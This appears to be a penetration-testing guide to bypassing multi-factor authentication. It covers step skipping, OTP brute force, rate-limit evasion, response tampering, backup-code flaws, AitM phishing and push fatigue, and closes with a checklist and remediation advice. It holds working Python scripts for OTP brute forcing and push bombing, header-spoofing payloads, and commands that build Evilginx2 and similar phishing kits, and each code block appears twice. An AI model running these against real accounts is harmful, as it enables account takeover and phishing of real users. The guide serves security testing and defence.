MFA Bypass Techniques
Multi-Factor Authentication (MFA) is a critical security control, but implementation flaws can allow attackers to bypass it entirely. This guide covers common MFA bypass techniques including direct bypass, brute force, social engineering vectors, and implementation-specific weaknesses.
Warning
Direct Flow Bypass
The most common MFA flaw — the application doesn't enforce the MFA step server-side. After entering valid credentials, the user can skip the MFA challenge by navigating directly to the authenticated page.
# Step 1: Login with valid credentials
POST /login
username=user&password=pass123
# Response: 302 Redirect to /mfa-challenge
# Step 2: Instead of completing MFA, browse directly to:
GET /dashboard
GET /api/user/profile# Step 1: Login with valid credentials
POST /login
username=user&password=pass123
# Response: 302 Redirect to /mfa-challenge
# Step 2: Instead of completing MFA, browse directly to:
GET /dashboard
GET /api/user/profileIf the application returns authenticated content, MFA is bypassable. Also try:
- Change the response code from 302 to 200 in Burp
- Remove the
Locationheader pointing to /mfa-challenge - Access /dashboard in a new tab while MFA page is loading
- Use the session cookie from step 1 directly
Tip
OTP Brute Force
6-digit TOTP codes have 1,000,000 possible values. If there's no rate limiting or lockout:
# Brute force 6-digit OTP with no rate limiting
# Using Burp Intruder or custom script:
import requests
import sys
session = requests.Session()
# Login first to get authenticated session
session.post('https://target.com/login', data={
'username': 'testuser',
'password': 'testpass'
})
# Brute force the MFA code
for code in range(0, 1000000):
otp = f'{code:06d}'
resp = session.post('https://target.com/mfa/verify', data={
'otp': otp
})
if 'dashboard' in resp.url or resp.status_code == 200:
print(f'[+] Valid OTP found: {otp}')
sys.exit(0)
if code % 1000 == 0:
print(f'[-] Tried {code}/999999...')
# TOTP window attack: Standard TOTP allows ±30 second window
# Some implementations allow wider windows (±90 seconds)
# reducing effective keyspace significantly# Brute force 6-digit OTP with no rate limiting
# Using Burp Intruder or custom script:
import requests
import sys
session = requests.Session()
# Login first to get authenticated session
session.post('https://target.com/login', data={
'username': 'testuser',
'password': 'testpass'
})
# Brute force the MFA code
for code in range(0, 1000000):
otp = f'{code:06d}'
resp = session.post('https://target.com/mfa/verify', data={
'otp': otp
})
if 'dashboard' in resp.url or resp.status_code == 200:
print(f'[+] Valid OTP found: {otp}')
sys.exit(0)
if code % 1000 == 0:
print(f'[-] Tried {code}/999999...')
# TOTP window attack: Standard TOTP allows ±30 second window
# Some implementations allow wider windows (±90 seconds)
# reducing effective keyspace significantlyRate Limit Bypass for OTP
If OTP rate limiting exists, try these bypass techniques:
# 1. IP rotation via headers
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2
# 2. Parameter pollution
POST /mfa/verify
otp=123456&user_id=1234
otp=654321&user_id=1234&extra_param=1
# 3. JSON vs form encoding (may hit different rate limiters)
Content-Type: application/json
{"otp": "123456"}
Content-Type: application/x-www-form-urlencoded
otp=123456
# 4. Case sensitivity / parameter pollution
otp=123456&OTP=654321# 1. IP rotation via headers
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2
# 2. Parameter pollution
POST /mfa/verify
otp=123456&user_id=1234
otp=654321&user_id=1234&extra_param=1
# 3. JSON vs form encoding (may hit different rate limiters)
Content-Type: application/json
{"otp": "123456"}
Content-Type: application/x-www-form-urlencoded
otp=123456
# 4. Case sensitivity / parameter pollution
otp=123456&OTP=654321Response Manipulation
Some applications validate MFA client-side by checking the verification API response, without enforcing it server-side. Intercept and modify the response in Burp to test this.
# Original failed response:
HTTP/1.1 200 OK
{"success": false, "message": "Invalid OTP"}
# Modified response:
HTTP/1.1 200 OK
{"success": true, "message": "Verified"}
# Or change status codes:
# Original: HTTP/1.1 401 Unauthorized
# Modified: HTTP/1.1 200 OK# Original failed response:
HTTP/1.1 200 OK
{"success": false, "message": "Invalid OTP"}
# Modified response:
HTTP/1.1 200 OK
{"success": true, "message": "Verified"}
# Or change status codes:
# Original: HTTP/1.1 401 Unauthorized
# Modified: HTTP/1.1 200 OKTip
"success": false to
"success": true in all MFA verification responses for systematic testing.
Token Reuse & Sharing
OTP codes should be single-use and bound to a specific user session. Test for these violations:
Code Reuse
Use a valid OTP, log out, log back in, resubmit the same code. If accepted → codes are not invalidated after use.
Cross-Account Usage
Request OTP for Account A, use it on Account B's MFA challenge. If accepted → tokens not bound to user session.
Token Leakage in URLs
Check for tokens in URL parameters (e.g., /mfa?token=123456&user=admin) — these appear in browser history, server logs, and Referer headers.
Backup Code Attacks
Backup codes are one-time recovery codes issued when MFA is first enabled. Several implementation flaws can make them exploitable:
Predictable Codes
Are they sequential, low entropy, or follow common patterns (e.g., 12345678, 00000001)?
Unlimited Generation
Can you regenerate backup codes without limit? This invalidates old codes — potential DoS against the legitimate user.
Brute Force Surface
8-character alphanumeric codes are hard to brute force, but 8-digit numeric codes (108) may be feasible.
Code Reuse & API Exposure
Are codes invalidated after use? Check GET /api/user/security-settings — backup codes sometimes appear in API responses.
Real-Time Phishing (AitM)
Adversary-in-the-Middle phishing tools create a transparent proxy between the victim and legitimate site, capturing MFA tokens in real-time:
# Tools for AitM MFA phishing (authorized assessments only):
# Evilginx2 - Advanced AitM phishing framework
# Captures session cookies after MFA is completed
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make
# Modlishka - Reverse proxy phishing
git clone https://github.com/drk1wi/Modlishka
# EvilnoVNC - Browser-in-the-middle via VNC
git clone https://github.com/JoelGMSec/EvilnoVNC
# How it works:
# 1. Victim visits attacker's phishing page
# 2. Phishing page proxies all traffic to real site
# 3. Victim completes full login including MFA
# 4. Attacker captures the authenticated session cookie
# 5. Attacker uses the cookie to access the account
# Even TOTP and push-based MFA are defeated by AitM
# Only FIDO2/WebAuthn hardware keys resist AitM# Tools for AitM MFA phishing (authorized assessments only):
# Evilginx2 - Advanced AitM phishing framework
# Captures session cookies after MFA is completed
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make
# Modlishka - Reverse proxy phishing
git clone https://github.com/drk1wi/Modlishka
# EvilnoVNC - Browser-in-the-middle via VNC
git clone https://github.com/JoelGMSec/EvilnoVNC
# How it works:
# 1. Victim visits attacker's phishing page
# 2. Phishing page proxies all traffic to real site
# 3. Victim completes full login including MFA
# 4. Attacker captures the authenticated session cookie
# 5. Attacker uses the cookie to access the account
# Even TOTP and push-based MFA are defeated by AitM
# Only FIDO2/WebAuthn hardware keys resist AitMDanger
Push Notification Fatigue (MFA Bombing)
# MFA prompt bombing / push fatigue attack:
# Repeatedly trigger MFA push notifications until the user approves
# 1. Obtain valid credentials (phishing, credential stuffing, breach data)
# 2. Script repeated login attempts to trigger push notifications:
import requests
import time
for i in range(50):
requests.post('https://target.com/login', data={
'username': 'victim@company.com',
'password': 'known_password'
})
time.sleep(5) # Wait between attempts
print(f'Push #{i+1} sent')
# 3. User eventually approves out of frustration
# 4. Attacker gains authenticated access
# Notable: Uber 2022 breach used MFA fatigue attack
# The attacker sent repeated Duo push notifications
# until the employee approved one# MFA prompt bombing / push fatigue attack:
# Repeatedly trigger MFA push notifications until the user approves
# 1. Obtain valid credentials (phishing, credential stuffing, breach data)
# 2. Script repeated login attempts to trigger push notifications:
import requests
import time
for i in range(50):
requests.post('https://target.com/login', data={
'username': 'victim@company.com',
'password': 'known_password'
})
time.sleep(5) # Wait between attempts
print(f'Push #{i+1} sent')
# 3. User eventually approves out of frustration
# 4. Attacker gains authenticated access
# Notable: Uber 2022 breach used MFA fatigue attack
# The attacker sent repeated Duo push notifications
# until the employee approved oneTesting Methodology
MFA Testing Checklist
- 1. Can you skip the MFA page and access authenticated resources directly?
- 2. Is there rate limiting on OTP submission? Can it be bypassed?
- 3. Can you manipulate the verification response (change false → true)?
- 4. Can OTP codes be reused? Are they time-bound?
- 5. Are OTP codes bound to the user session?
- 6. Can backup codes be brute-forced or predicted?
- 7. Is MFA required on all sensitive endpoints (password change, email change)?
- 8. Can MFA be disabled without re-authentication?
- 9. Does the "Remember this device" feature properly expire?
- 10. Are there alternative authentication paths that skip MFA (API keys, OAuth tokens)?
Evidence Collection
Step Skip Proof: Burp request showing direct access to authenticated resource without completing MFA step
Response Manipulation: Original and modified responses showing how changing verify=false to verify=true grants access
OTP Brute Force: Intruder results showing no rate limiting after N failed OTP attempts
Session Screenshots: Authenticated dashboard/profile page accessed after bypass
CVSS Range: Complete MFA bypass: 8.1–9.1 (High-Critical) | OTP brute force: 7.5–8.1 | Push fatigue: 6.5–7.5
Remediation Guidance
- Server-side enforcement: MFA verification must be checked server-side before granting session tokens. Never rely on client-side redirects.
- Rate limit OTP attempts: Lock accounts after 3-5 failed OTP attempts. Implement exponential backoff.
- Bind tokens to sessions: OTP codes must be cryptographically bound to the user's session and cannot be transferred.
- Invalidate after use: Each OTP and backup code should be single-use.
- Prefer FIDO2/WebAuthn: Hardware security keys resist phishing and AitM attacks. Push and TOTP do not.
- Number matching: For push MFA, require the user to enter a number shown on the login screen to prevent fatigue attacks.
False Positive Identification
- Account lockout ≠ rate limiting: The account may lock after N attempts — this is a different defense than rate limiting. Verify both mechanisms independently.
- "Remember device" ≠ MFA bypass: Trusted device tokens that skip MFA on subsequent logins are a design choice, not a vulnerability — unless they never expire or are transferable.
- Step skip may hit auth middleware: Getting a 302 redirect after directly accessing a post-MFA page may still enforce MFA server-side. Verify the redirect destination and final state.
- API keys skipping MFA: Some APIs intentionally allow key-based auth without MFA — check if this is documented and scoped appropriately before reporting.